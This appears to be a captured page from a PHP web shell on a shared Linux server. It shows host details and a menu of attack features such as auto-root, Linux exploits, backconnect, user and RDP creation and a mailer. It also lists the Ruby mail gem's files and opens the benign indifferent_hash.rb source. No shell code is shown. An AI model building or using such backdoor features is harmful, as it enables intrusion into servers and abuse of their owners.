Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
mail /
[ HOME SHELL ]
Name
Size
Permission
Action
core_extensions
[ DIR ]
drwxr-xr-x
elements
[ DIR ]
drwxr-xr-x
encodings
[ DIR ]
drwxr-xr-x
fields
[ DIR ]
drwxr-xr-x
matchers
[ DIR ]
drwxr-xr-x
multibyte
[ DIR ]
drwxr-xr-x
network
[ DIR ]
drwxr-xr-x
parsers
[ DIR ]
drwxr-xr-x
values
[ DIR ]
drwxr-xr-x
version_specific
[ DIR ]
drwxr-xr-x
attachments_list.rb
3.51
KB
-rw-r--r--
body.rb
9.52
KB
-rw-r--r--
check_delivery_params.rb
1.43
KB
-rw-r--r--
configuration.rb
1.74
KB
-rw-r--r--
constants.rb
1.75
KB
-rw-r--r--
elements.rb
960
B
-rw-r--r--
encodings.rb
10.46
KB
-rw-r--r--
envelope.rb
658
B
-rw-r--r--
field.rb
9.29
KB
-rw-r--r--
field_list.rb
867
B
-rw-r--r--
fields.rb
2.19
KB
-rw-r--r--
header.rb
9.02
KB
-rw-r--r--
indifferent_hash.rb
3.78
KB
-rw-r--r--
mail.rb
8.15
KB
-rw-r--r--
message.rb
66.58
KB
-rw-r--r--
multibyte.rb
3.68
KB
-rw-r--r--
network.rb
836
B
-rw-r--r--
parser_tools.rb
446
B
-rw-r--r--
parsers.rb
681
B
-rw-r--r--
part.rb
3.15
KB
-rw-r--r--
parts_list.rb
1.96
KB
-rw-r--r--
utilities.rb
8.37
KB
-rw-r--r--
version.rb
233
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : indifferent_hash.rb
# encoding: utf-8 # frozen_string_literal: true # This is an almost cut and paste from ActiveSupport v3.0.6, copied in here so that Mail # itself does not depend on ActiveSupport to avoid versioning conflicts module Mail class IndifferentHash < Hash def initialize(constructor = {}) if constructor.is_a?(Hash) super() update(constructor) else super(constructor) end end def default(key = nil) if key.is_a?(Symbol) && include?(key = key.to_s) self[key] else super end end def self.new_from_hash_copying_default(hash) IndifferentHash.new(hash).tap do |new_hash| new_hash.default = hash.default end end alias_method :regular_writer, :[]= unless method_defined?(:regular_writer) alias_method :regular_update, :update unless method_defined?(:regular_update) # Assigns a new value to the hash: # # hash = HashWithIndifferentAccess.new # hash[:key] = "value" # def []=(key, value) regular_writer(convert_key(key), convert_value(value)) end alias_method :store, :[]= # Updates the instantized hash with values from the second: # # hash_1 = HashWithIndifferentAccess.new # hash_1[:key] = "value" # # hash_2 = HashWithIndifferentAccess.new # hash_2[:key] = "New Value!" # # hash_1.update(hash_2) # => {"key"=>"New Value!"} # def update(other_hash) other_hash.each_pair { |key, value| regular_writer(convert_key(key), convert_value(value)) } self end alias_method :merge!, :update # Checks the hash for a key matching the argument passed in: # # hash = HashWithIndifferentAccess.new # hash["key"] = "value" # hash.key? :key # => true # hash.key? "key" # => true # def key?(key) super(convert_key(key)) end alias_method :include?, :key? alias_method :has_key?, :key? alias_method :member?, :key? # Fetches the value for the specified key, same as doing hash[key] def fetch(key, *extras) super(convert_key(key), *extras) end # Returns an array of the values at the specified indices: # # hash = HashWithIndifferentAccess.new # hash[:a] = "x" # hash[:b] = "y" # hash.values_at("a", "b") # => ["x", "y"] # def values_at(*indices) indices.collect {|key| self[convert_key(key)]} end # Returns an exact copy of the hash. def dup IndifferentHash.new(self) end # Merges the instantized and the specified hashes together, giving precedence to the values from the second hash # Does not overwrite the existing hash. def merge(hash) self.dup.update(hash) end # Performs the opposite of merge, with the keys and values from the first hash taking precedence over the second. # This overloaded definition prevents returning a regular hash, if reverse_merge is called on a HashWithDifferentAccess. def reverse_merge(other_hash) super self.class.new_from_hash_copying_default(other_hash) end def reverse_merge!(other_hash) replace(reverse_merge( other_hash )) end # Removes a specified key from the hash. def delete(key) super(convert_key(key)) end def stringify_keys!; self end def stringify_keys; dup end def symbolize_keys; to_hash.symbolize_keys end def to_options!; self end def to_hash Hash.new(default).merge!(self) end protected def convert_key(key) key.kind_of?(Symbol) ? key.to_s : key end def convert_value(value) if value.class == Hash self.class.new_from_hash_copying_default(value) elsif value.is_a?(Array) value.dup.replace(value.map { |e| convert_value(e) }) else value end end end end
Close